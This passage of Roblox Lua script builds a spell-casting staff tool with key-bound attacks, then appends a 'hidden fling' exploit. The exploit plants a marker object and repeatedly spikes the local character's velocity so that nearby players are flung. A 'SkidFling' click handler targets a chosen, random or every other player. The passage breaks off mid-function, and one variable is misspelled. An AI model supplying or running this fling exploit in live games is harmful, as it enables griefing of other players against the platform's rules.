tip4w.Parent = rblade
tip4w.Part0 = rblade
tip4w.Part1 = tip4
tip4w.C1 = CFrame.new(0,.5,0)
tip5 = Instance.new("Part")
tip5.CanCollide = false
tip5.TopSurface = 0
tip5.BottomSurface = 0
tip5.Parent = rblade
tip5.Size = Vector3.new(1,1,1)
tip5.formFactor = "Symmetric"
tip5.BrickColor = BrickColor.new(1004)
tip5m = Instance.new("BlockMesh")
tip5m.Scale = Vector3.new(.41,.2,.41)
tip5m.Parent = tip5
tip5w = Instance.new("Weld")
tip5w.Parent = rblade
tip5w.Part0 = rblade
tip5w.Part1 = tip5
tip5w.C1 = CFrame.new(0,0,0)
tip6 = Instance.new("Part")
tip6.CanCollide = false
tip6.TopSurface = 0
tip6.BottomSurface = 0
tip6.Parent = rblade
tip6.Size = Vector3.new(1,1,1)
tip6.formFactor = "Symmetric"
tip6.BrickColor = BrickColor.new(1004)
tip6m = Instance.new("BlockMesh")
tip6m.Scale = Vector3.new(.05,.6,.41)
tip6m.Parent = tip6
tip6w = Instance.new("Weld")
tip6w.Parent = rblade
tip6w.Part0 = rblade
tip6w.Part1 = tip6
tip6w.C1 = CFrame.new(0,-3,0)
tip7 = Instance.new("Part")
tip7.CanCollide = false
tip7.TopSurface = 0
tip7.BottomSurface = 0
tip7.Parent = rblade
tip7.Size = Vector3.new(1,1,1)
tip7.formFactor = "Symmetric"
tip7.BrickColor = BrickColor.new(1004)
tip7m = Instance.new("BlockMesh")
tip7m.Scale = Vector3.new(.41,.6,.05)
tip7m.Parent = tip7
tip7w = Instance.new("Weld")
tip7w.Parent = rblade
tip7w.Part0 = rblade
tip7w.Part1 = tip7
tip7w.C1 = CFrame.new(0,-3,0)
tip6a = Instance.new("Part")
tip6a.CanCollide = false
tip6a.TopSurface = 0
tip6a.BottomSurface = 0
tip6a.Parent = rblade
tip6a.Size = Vector3.new(1,1,1)
tip6a.formFactor = "Symmetric"
tip6a.BrickColor = BrickColor.new(1004)
tip6am = Instance.new("BlockMesh")
tip6am.Scale = Vector3.new(.15,.6,.41)
tip6am.Parent = tip6a
tip6aw = Instance.new("Weld")
tip6aw.Parent = rblade
tip6aw.Part0 = rblade
tip6aw.Part1 = tip6a
tip6aw.C1 = CFrame.new(0,-2.5,0)
tip7a = Instance.new("Part")
tip7a.CanCollide = false
tip7a.TopSurface = 0
tip7a.BottomSurface = 0
tip7a.Parent = rblade
tip7a.Size = Vector3.new(1,1,1)
tip7a.formFactor = "Symmetric"
tip7a.BrickColor = BrickColor.new(1004)
tip7am = Instance.new("BlockMesh")
tip7am.Scale = Vector3.new(.41,.6,.15)
tip7am.Parent = tip7a
tip7aw = Instance.new("Weld")
tip7aw.Parent = rblade
tip7aw.Part0 = rblade
tip7aw.Part1 = tip7a
tip7aw.C1 = CFrame.new(0,-2.5,0)
tip6b = Instance.new("Part")
tip6b.CanCollide = false
tip6b.TopSurface = 0
tip6b.BottomSurface = 0
tip6b.Parent = rblade
tip6b.Size = Vector3.new(1,1,1)
tip6b.formFactor = "Symmetric"
tip6b.BrickColor = BrickColor.new(1004)
tip6bm = Instance.new("BlockMesh")
tip6bm.Scale = Vector3.new(.05,.6,.41)
tip6bm.Parent = tip6b
tip6bw = Instance.new("Weld")
tip6bw.Parent = rblade
tip6bw.Part0 = rblade
tip6bw.Part1 = tip6b
tip6bw.C1 = CFrame.new(0,-2,0)
tip7b = Instance.new("Part")
tip7b.CanCollide = false
tip7b.TopSurface = 0
tip7b.BottomSurface = 0
tip7b.Parent = rblade
tip7b.Size = Vector3.new(1,1,1)
tip7b.formFactor = "Symmetric"
tip7b.BrickColor = BrickColor.new(1004)
tip7bm = Instance.new("BlockMesh")
tip7bm.Scale = Vector3.new(.41,.6,.05)
tip7bm.Parent = tip7b
tip7bw = Instance.new("Weld")
tip7bw.Parent = rblade
tip7bw.Part0 = rblade
tip7bw.Part1 = tip7b
tip7bw.C1 = CFrame.new(0,-2,0)
rblade.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
if hit.Parent.Humanoid.MaxHealth > 100 then
hit.Parent.Humanoid.MaxHealth = 100
end
hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health
hit.Parent.Humanoid.Sit = true
for i = 1, (math.random(1,3)) do
wait()
local bleed = Instance.new("Part")
bleed.formFactor = "Symmetric"
bleed.Size = Vector3.new(1,1,1)
bleed.BrickColor = BrickColor.new(1004)
bleed.TopSurface = 0
bleed.BottomSurface = 0
bleed.Reflectance = .1
bleed.Transparency = 0
bleed.Parent = Workspace
bleed.Position = rblade.Position
local bleedm = Instance.new("SpecialMesh")
bleedm.MeshType = "Sphere"
bleedm.Scale = Vector3.new(.5,.5,.5)
bleedm.Parent = bleed
game:GetService("Debris"):AddItem(bleed, 5)
end
end
end
end)
end
-- animations--
right = rns
staff = rblade
left = lns
up = "right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))wait()right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))wait()right.C1 = CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))wait()right.C1 = CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))wait()right.C1 = CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))wait()right.C1 = CFrame.new(-1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))"
down = "right.C1 = CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))wait()right.C1 = CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))wait()right.C1 = CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))wait()right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))wait()right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))"
-- end of staff
mouse.KeyDown:connect(function(key)
-- moves
if key == "z" then
if rbw.Part0 == rarm then
rbw.Part0 = larm
end
end
if key == "x" then
if rbw.Part0 == larm then
rbw.Part0 = rarm
end
end
if key == "e" then
right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
wait()
right.C1 = CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
wait()
right.C1 = CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
wait()
right.C1 = CFrame.new(-1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
wait(.5)
right.C1 = CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
wait()
right.C1 = CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
wait()
right.C1 = CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
wait()
right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
elseif key == "q" then
left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
wait()
left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
left.C1 = CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
left.C1 = CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
left.C1 = CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
left.C1 = CFrame.new(1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait(.5)
left.C1 = CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
left.C1 = CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
left.C1 = CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
elseif key == "r" then
left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
wait()
left.C1 = CFrame.new(1.42,0.62,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.3))
wait()
left.C1 = CFrame.new(1.29,0.84,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.35))
wait()
left.C1 = CFrame.new(1.16,1.06,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.4))
wait()
left.C1 = CFrame.new(1.03,1.28,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.45))
wait()
left.C1 = CFrame.new(0.9,1.5,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.5))
wait(.2)
left.C1 = CFrame.new(0.9,1.5,-0.15)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-0.30)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-0.45)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-0.60)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-0.75)*CFrame.Angles((math.pi*-.75),(math.pi*0),(math.pi*.5))
wait(.1)
left.C1 = CFrame.new(1.03,1.28,0)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*.45))
wait()
left.C1 = CFrame.new(1.16,1.06,0)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*.4))
wait()
left.C1 = CFrame.new(1.29,0.84,0)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*.35))
wait()
left.C1 = CFrame.new(1.42,0.62,0)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*.3))
wait()
left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
elseif key == "t" then
right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-1.42,0.62,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.3))
wait()
right.C1 = CFrame.new(-1.29,0.84,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.35))
wait()
right.C1 = CFrame.new(-1.16,1.06,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.4))
wait()
right.C1 = CFrame.new(-1.03,1.28,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.45))
wait()
right.C1 = CFrame.new(-0.9,1.5,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.5))
wait(.2)
right.C1 = CFrame.new(-0.9,1.5,-0.15)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-0.30)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-0.45)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-0.60)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-0.75)*CFrame.Angles((math.pi*-.75),(math.pi*0),(math.pi*-.5))
wait(.1)
right.C1 = CFrame.new(-1.03,1.28,0)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*-.45))
wait()
right.C1 = CFrame.new(-1.16,1.06,0)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*-.4))
wait()
right.C1 = CFrame.new(-1.29,0.84,0)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*-.35))
wait()
right.C1 = CFrame.new(-1.42,0.62,0)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*-.3))
wait()
right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
end
-- spells-------------------------------------------------------------------------------------
if key == "f" then
loadstring(up)()
local wall = Instance.new("Part")
wall.Parent = Workspace
wall.Size = Vector3.new(10,1,10)
wall.formFactor = "Symmetric"
wall.CFrame = player.Torso.CFrame *CFrame.new(0,-3.42,0)
wall.TopSurface = 0
wall.BottomSurface = 0
wall.Anchored = true
wall.BrickColor = BrickColor.new(1006)
wall.Material = "Ice"
game:GetService("Debris"):AddItem(wall, 15)
while wall:IsDescendantOf(Workspace) do
wait()
wall.CFrame = player.Torso.CFrame*CFrame.new(0,-3.42,0)
end
wait(.5)
loadstring(down)()
end
if key == "g" then
if mouse.Target then
if mouse.Target.Parent:findFirstChild("Humanoid") ~= nil then
local tar = mouse.Target
loadstring(up)()
local spark = Instance.new("Explosion")
spark.BlastRadius = 4
spark.BlastPressure = 0
spark.Parent = Workspace
spark.Position = tip2.Position
local ptar = tar.Parent
local mis = Instance.new("Part")
mis.formFactor = "Symmetric"
mis.Shape = "Ball"
mis.BrickColor = BrickColor.new(1006)
mis.Transparency = .5
mis.Size = Vector3.new(1,1,1)
mis.Parent = Workspace
mis.CFrame = staff.CFrame * CFrame.new(0,0,-15)
local misv = Instance.new("BodyVelocity")
misv.Parent = mis
misv.maxForce = Vector3.new(math.huge,math.huge,math.huge)
misv.velocity = mis.CFrame.lookVector * 50
local misg = Instance.new("BodyGyro")
misg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
misg.Parent = mis
misg.cframe = CFrame.new(tar.Position, mis.Position)
mis.Touched:connect(function(hit)
if hit.Name == tar.Name then
local ex = Instance.new("Explosion")
ex.Parent = Workspace
ex.Position = mis.Position
mis:remove()
end
end)
wait(.5)
loadstring(down)()
while mis.Parent == Workspace and tar:IsDescendantOf(Workspace) do
wait()
misg.cframe = CFrame.new(tar.Position, mis.Position)
local fire = Instance.new("Explosion")
fire.Parent = Workspace
fire.Position = mis.Position
fire.BlastRadius = 2
misv.velocity = mis.CFrame.lookVector * -18
end
mis:remove()
end
end
end
if key == "b" then
loadstring(up)()
for i = 1,100 do
wait()
local p = Instance.new("Part")
p.BrickColor = BrickColor.new(1006)
p.Name ="check"
p.Parent = Workspace
p.CanCollide = false
p.Size = Vector3.new(1,3,1)
p.CFrame = player.Torso.CFrame + Vector3.new(math.random(-5,5),math.random(-2,4),math.random(-5,5))
p.formFactor = "Symmetric"
p.TopSurface = 0
p.BottomSurface = 0
p.Transparency = .5
local pm = Instance.new("SpecialMesh")
pm.Parent = p
pm.MeshType = "Sphere"
pm.Scale = Vector3.new((.2+(.05*i)),(.2+(.05*i)),(.2+(.05*i)))
local pbv = Instance.new("BodyVelocity")
pbv.Parent = p
pbv.velocity = Vector3.new(0,10,0)
game:GetService("Debris"):AddItem(p, .2)
player.Humanoid.Health = player.Humanoid.Health +2
end
player.Torso.CFrame = mouse.Hit + Vector3.new(0,4,0)
wait(.5)
loadstring(down)()
end
if key == "v" then
local tar = mouse.Target
if tar ~= nil then
if (tip6a.Position - tar.Position).magnitude < 100 then
loadstring(up)()
local shot = Instance.new("Part")
shot.Parent = Workspace
shot.BrickColor = BrickColor.new("Cyan")
shot.formFactor = "Symmetric"
shot.Size = Vector3.new(1,1,1)
shot.Anchored = true
local shotm = Instance.new("BlockMesh")
shotm.Scale = Vector3.new(.2,.2,(tip6a.Position - mouse.Hit.p).magnitude)
shot.CFrame = CFrame.new(((tip6a.Position + mouse.Hit.p)/2),mouse.Hit.p)
shotm.Parent = shot
if tar.Parent:findFirstChild("Humanoid") ~= nil then
local ice = Instance.new("Part")
ice.Position = tar.Parent.Torso.Position
ice.Anchored = true
tar.Parent.Torso.Anchored = true
ice.BrickColor = BrickColor.new("Cyan")
ice.Size = Vector3.new(4,6,4)
ice.Reflectance = .2
ice.TopSurface = 0
ice.BottomSurface = 0
ice.Transparency = .5
ice.Parent = tar.Parent
coroutine.resume(coroutine.create(function() kill(tar) end))
end
wait(.1)
shot:remove()
end
wait(.5)
loadstring(down)()
end
end
if key == "c" then
local tar = mouse.Target
if tar ~= nil then
if (tip6a.Position - tar.Position).magnitude < 100 then
loadstring(up)()
right.C1 = CFrame.new(-1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
local shot = Instance.new("Part")
shot.Parent = Workspace
shot.BrickColor = BrickColor.new("Royal purple")
shot.formFactor = "Symmetric"
shot.Size = Vector3.new(1,1,1)
shot.Anchored = true
local shotm = Instance.new("BlockMesh")
shotm.Scale = Vector3.new(.2,.2,(tip6a.Position - mouse.Hit.p).magnitude)
shot.CFrame = CFrame.new(((tip6a.Position + mouse.Hit.p)/2),mouse.Hit.p)
shotm.Parent = shot
if tar.className == "Part" then
local ice = Instance.new("Part")
ice.CFrame = tar.CFrame
ice.Size = tar.Size + Vector3.new(1,1,1)
ice.Anchored = true
tar.Anchored = true
ice.BrickColor = BrickColor.new("Cyan")
ice.Reflectance = .2
ice.TopSurface = 0
ice.BottomSurface = 0
ice.Transparency = .5
ice.Parent = tar
ice.Friction = 0
game:GetService("Debris"):AddItem(ice, 10)
wait(.1)
shot:remove()
wait(.5)
loadstring(down)()
end
end
end
end
if key == "h" then
loadstring(up)()
local cf = CFrame.new(tip2.Position, mouse.Hit.p)
local v = cf.lookVector
local dx = (math.random() - .5) * .02
local dy = (math.random() - .5) * .02
local dz = (math.random() - .5) * .02
parts = {}
local f = coroutine.create(function() fire(Vector3.new(v.x + dx, v.y + dy, v.z + dz)) end)
coroutine.resume(f)
wait(.5)
loadstring(down)()
end
if key == "y" then
loadstring(up)()
for i = 2,101 do
wait()
local boulder = Instance.new("Part")
boulder.TopSurface = 0
boulder.BottomSurface = 0
boulder.Anchored = true
boulder.BrickColor = BrickColor.new("Dark stone grey")
boulder.Size = Vector3.new((i+math.random(-1,1)),(i+math.random(-1,1)),2)
boulder.CFrame = tip.CFrame * CFrame.new(0,0,-2*i)
boulder.Velocity = boulder.CFrame.lookVector * 500
boulder.Material = "Slate"
boulder.Parent = Workspace
boulder.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
hit.Parent.humanoid.Sit = true
end
end)
game:GetService("Debris"):AddItem(boulder, .8)
end
loadstring(down)()
end
if key == "n" then
local tar = mouse.Target
if tar~= nil then
if tar.Parent:findFirstChild("Humanoid") ~= nil then
if tar.Parent:findFirstChild("Torso") ~= nil then
loadstring(up)()
for i = 1,100 do
wait()
local p = Instance.new("Part")
p.BrickColor = BrickColor.new(1006)
p.Name ="check"
p.Parent = Workspace
p.CanCollide = false
p.Size = Vector3.new(1,3,1)
p.CFrame = tar.Parent.Torso.CFrame + Vector3.new(math.random(-5,5),math.random(-2,4),math.random(-5,5))
p.formFactor = "Symmetric"
p.TopSurface = 0
p.BottomSurface = 0
p.Transparency = .5
local pm = Instance.new("SpecialMesh")
pm.Parent = p
pm.MeshType = "Sphere"
pm.Scale = Vector3.new((.2+(.05*i)),(.2+(.05*i)),(.2+(.05*i)))
local pbv = Instance.new("BodyVelocity")
pbv.Parent = p
pbv.velocity = Vector3.new(0,10,0)
game:GetService("Debris"):AddItem(p, .2)
tar.Parent.Humanoid.Health = tar.Parent.Humanoid.Health +2
end
tar.Parent.Torso.CFrame = mouse.Hit + Vector3.new(0,4,0)
wait(.5)
loadstring(down)()
end
end
end
end
if key == "u" then
loadstring(up)()
local start = Instance.new("Part")
start.Parent = Workspace
start.Position = mouse.Hit.p + Vector3.new(0,18,0)
start.Anchored = true
start.Size = Vector3.new(1,1,1)
start.Transparency = 1
for i = 1,36 do
start.CFrame = start.CFrame * CFrame.Angles(math.rad(0),math.rad(5),math.rad(0))
local wall1 = Instance.new("Part")
wall1.Parent = Workspace
wall1.BrickColor = BrickColor.new("Really black")
wall1.Size = Vector3.new(1,10,1)
wall1.Anchored = true
wall1.TopSurface = 0
wall1.CFrame = start.CFrame * CFrame.new(10,-15,0)
local wall2 = Instance.new("Part")
wall2.Parent = Workspace
wall2.BrickColor = BrickColor.new("Really black")
wall2.Size = Vector3.new(1,10,1)
wall2.Anchored = true
wall2.TopSurface = 0
wall2.CFrame = start.CFrame * CFrame.new(10,-15,0)
local wall1a = Instance.new("Part")
wall1a.Parent = Workspace
wall1a.BrickColor = BrickColor.new("Really black")
wall1a.Size = Vector3.new(1,10,1)
wall1a.Anchored = true
wall1a.TopSurface = 0
wall1a.CFrame = start.CFrame * CFrame.new(-10,-15,0)
local wall2a = Instance.new("Part")
wall2a.Parent = Workspace
wall2a.BrickColor = BrickColor.new("Really black")
wall2a.Size = Vector3.new(1,0,1)
wall2a.Anchored = true
wall2a.TopSurface = 0
wall2a.CFrame = start.CFrame * CFrame.new(-10,-15,0)
local roof = Instance.new("Part")
roof.Parent = Workspace
roof.Size = Vector3.new(0,1,1)
roof.BrickColor = BrickColor.new("Really black")
roof.Anchored = true
roof.CFrame = start.CFrame * CFrame.new(0,-10,0)
roof.TopSurface = 0
local roof2 = Instance.new("Part")
roof2.Parent = Workspace
roof2.Size = Vector3.new(1,1,20)
roof2.BrickColor = BrickColor.new("Really black")
roof2.Anchored = true
roof2.CFrame = start.CFrame * CFrame.new(0,-10,0)
roof2.TopSurface = 0
local roofa = Instance.new("Part")
roofa.Parent = Workspace
roofa.Size = Vector3.new(20,1,1)
roofa.BrickColor = BrickColor.new("Really black")
roofa.Anchored = true
roofa.CFrame = start.CFrame * CFrame.new(0,-20,0)
roofa.TopSurface = 0
local roof2a = Instance.new("Part")
roof2a.Parent = Workspace
roof2a.Size = Vector3.new(1,1,20)
roof2a.BrickColor = BrickColor.new("Really black")
roof2a.Anchored = true
roof2a.CFrame = start.CFrame * CFrame.new(0,-20,0)
roof2a.TopSurface = 0
game:GetService("Debris"):AddItem(roof, 15)
game:GetService("Debris"):AddItem(wall1, 15)
game:GetService("Debris"):AddItem(wall2, 15)
game:GetService("Debris"):AddItem(roof2, 15)
game:GetService("Debris"):AddItem(wall1a, 15)
game:GetService("Debris"):AddItem(wall2a, 15)
game:GetService("Debris"):AddItem(roofa, 15)
game:GetService("Debris"):AddItem(roof2a, 15)
wait()
end
start:remove()
wait(.5)
loadstring(down)()
end
if key == "m" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
if tar.Parent.Name == "Minion" then
loadstring(up)()
while tar.Parent.Humanoid.Health >= 1 do
wait()
if player.Humanoid.Health == 0 then
tar.Parent.Humanoid:TakeDamage(1000)
else
tar.Parent.Torso.move.position = mouse.Hit.p
end
end
loadstring(down)()
end
end
end
if key == "j" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
tar.Parent.Humanoid.Jump = true
end
elseif key == "k" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
tar.Parent.Humanoid.Sit = true
end
elseif key == "l" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
tar.Parent.Humanoid.PlatformStand = true
end
elseif key == "p" then
local min = Instance.new("Model")
min.Name = "Minion"
min.Parent = Workspace
local skel = Instance.new("Humanoid")
skel.Parent = min
skel.WalkSpeed = 16
skel.MaxHealth = 100
skel.Health = 100
local thing = Instance.new("Part")
thing.Name = "Head"
thing.formFactor = "Symmetric"
thing.TopSurface = 0
thing.BottomSurface = 0
thing.BrickColor = BrickColor.new(1003)
thing.Transparency = .3
thing.Size = Vector3.new(4,4,4)
thing.Parent = min
thing.Position = player.Torso.Position + Vector3.new(0,5,0)
thing.Shape = "Ball"
local thing2 = Instance.new("Part")
thing2.Name = "Torso"
thing2.formFactor = "Symmetric"
thing2.TopSurface = 0
thing2.BottomSurface = 0
thing2.BrickColor = BrickColor.new(1004)
thing2.Size = Vector3.new(1,1,1)
thing2.Parent = min
thing2.Position = player.Torso.Position + Vector3.new(0,5,0)
thing2.Shape = "Ball"
local live = Instance.new("Weld")
live.Parent = thing2
live.Part0 = thing2
live.Part1 = thing
live.Name = "Neck"
local move = Instance.new("BodyPosition")
move.Parent = thing2
move.position = player.Torso.Position
move.maxForce = Vector3.new(100,0,100)
move.Name = "move"
thing.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
if hit.Parent.Name ~= "Minion" then
if hit.Parent.Humanoid.MaxHealth > 100 then
hit.Parent.Humanoid.MaxHealth = 100
end
hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health - math.random(5,7)
hit.Parent.Humanoid.Sit = true
for i = 1, (math.random(1,3)) do
wait()
local bleed = Instance.new("Part")
bleed.formFactor = "Symmetric"
bleed.Size = Vector3.new(1,1,1)
bleed.BrickColor = BrickColor.new("Bright red")
bleed.TopSurface = 0
bleed.BottomSurface = 0
bleed.Reflectance = .1
bleed.Transparency = .4
bleed.Parent = Workspace
bleed.Position = thing.Position
local bleedm = Instance.new("SpecialMesh")
bleedm.MeshType = "Sphere"
bleedm.Scale = Vector3.new(.2,.2,.2)
bleedm.Parent = bleed
game:GetService("Debris"):AddItem(bleed, 5)
end
end
end
end
end)
coroutine.resume(coroutine.create(function() clean(min,thing2) end))
end
--end of keys
end)
--end of script
staff:remove()
rs.Part1 = rarm
ls.Part1 = larm
right:remove()
left:remove()
end)
---------------------------------------------------------------------------------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
local Players = game:GetService("Players")
local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
Mouse.Button1Down:Connect(function()
local Target = Mouse.Target
if Target and Target.Parent and Target.Parent:IsA("Model") and Players:GetPlayerFromCharacter(Target.Parent) then
local PlayerName = Players:GetPlayerFromCharacter(Target.Parent).Name
local player = game.Players.LocalPlayer
local Targets = {PlayerName}
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local AllBool = false
local GetPlayer = function(Name)
Name = Name:lower()
if Name == "all" or Name == "others" then
AllBool = true
return
elseif Name == "random" then
local GetPlayers = Players:GetPlayers()
if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
return GetPlayers[math.random(#GetPlayers)]
elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
for _,x in next, Players:GetPlayers() do
if x ~= Player then
if x.Name:lower():match("^"..Name) then
return x;
elseif x.DisplayName:lower():match("^"..Name) then
return x;
end
end
end
else
return
end
end
local Message = function(_Title, _Text, Time)
print(_Title)
print(_Text)
print(Time)
end
local SkidFling = function(TargetPlayer)
local Character = Player.Character
local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart
local TCharacter = TargetPlayer.Character
local THumanoid
local TRootPart
local THead
local Accessory
local Handle
if TCharacter:FindFirstChildOfClass("Humanoid") then
THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
end
if THumanoid and THumanoid.RootPart then
TRootPart = THumanoid.RootPart
end
if TCharacter:FindFirstChild("Head") then
THead = TCharacter.Head
end
if TCharacter:FindFirstChildOfClass("Accessory") then
Accessory = TCharacter:FindFirstChildOfClass("Accessory")
end
if Accessoy and Accessory:FindFirstChild("Handle") then
Handle = Accessory.Handle
end
